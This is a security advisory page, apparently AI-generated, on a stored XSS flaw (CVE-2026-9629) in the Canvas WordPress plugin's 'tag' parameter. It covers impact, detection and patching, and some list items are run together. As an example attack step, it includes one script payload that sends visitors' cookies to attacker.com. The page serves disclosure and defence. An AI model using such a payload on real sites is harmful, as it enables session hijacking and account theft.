
PEACH
Un cadre d’isolation des locataires
CVE-2026-9629 is a Stored Cross-Site Scripting (XSS) vulnerability in the Canvas plugin for WordPress, affecting all versions up to and including 2.5.2. The flaw exists in the 'tag' parameter due to insufficient input sanitization and output escaping, allowing authenticated attackers with contributor-level access or above to inject arbitrary web scripts into pages. It was published on June 13, 2026, and assigned a CVSS v3.1 base score of 6.4 (Medium) (GitHub Advisory, Wordfence).
The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting). The root cause lies in the block-section-heading component's render.php file, specifically at lines 13 and 32, and in gutenberg/custom-blocks/index.php at line 798, where the 'tag' parameter is rendered without proper sanitization or escaping (GitHub Advisory). An attacker with at least contributor-level WordPress access can craft a malicious payload in the 'tag' parameter that is persistently stored and executed in the browser of any user who visits the affected page. No user interaction beyond page access is required for the injected script to execute.
Successful exploitation allows injected scripts to execute in the context of any user's browser session who visits the compromised page, potentially leading to session token theft, credential harvesting, or unauthorized actions performed on behalf of victims — including administrators. The changed scope (S:C) in the CVSS vector indicates the impact extends beyond the plugin itself to the broader WordPress site and its users. Availability is not directly impacted, but confidentiality and integrity are both affected at a low level per the CVSS assessment (GitHub Advisory, Wordfence).
block-section-heading Gutenberg block, which exposes the vulnerable 'tag' parameter.'tag' parameter to a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) that bypasses the insufficient sanitization.tag parameter; audit log entries for page edits by low-privilege users inserting <script> or event handler attributes.wp_posts table) containing JavaScript payloads.<script>, onerror=, onload=) within the rendered HTML of pages using the Canvas block-section-heading block, particularly in the heading tag element.Update the Canvas plugin to version 2.5.3 or later, which includes the fix applied in changeset 3553553 to properly sanitize and escape the 'tag' parameter in render.php (GitHub Advisory). As an interim measure, restrict contributor-level and above access to only trusted users, and implement Content Security Policy (CSP) headers to limit the impact of any stored XSS. If immediate patching is not feasible, consider temporarily disabling the Canvas plugin until the update can be applied.
The vulnerability was reported and assigned by Wordfence, a leading WordPress security firm, and published to the GitHub Advisory Database on June 13, 2026 (Wordfence, GitHub Advisory). Social media activity was limited, with automated CVE tracking accounts on Bluesky and Mastodon (VulDB) noting the disclosure. No significant broader media coverage or notable researcher commentary has been identified beyond standard vulnerability database aggregation.
Source: Ce rapport a été généré à l’aide de l’IA
Évaluation gratuite des vulnérabilités
Évaluez vos pratiques de sécurité cloud dans 9 domaines de sécurité pour évaluer votre niveau de risque et identifier les failles dans vos défenses.
Obtenez une démo personnalisée
"La meilleure expérience utilisateur que j’ai jamais vue, offre une visibilité totale sur les workloads cloud."
"Wiz fournit une interface unique pour voir ce qui se passe dans nos environnements cloud."
"Nous savons que si Wiz identifie quelque chose comme critique, c’est qu’il l’est réellement."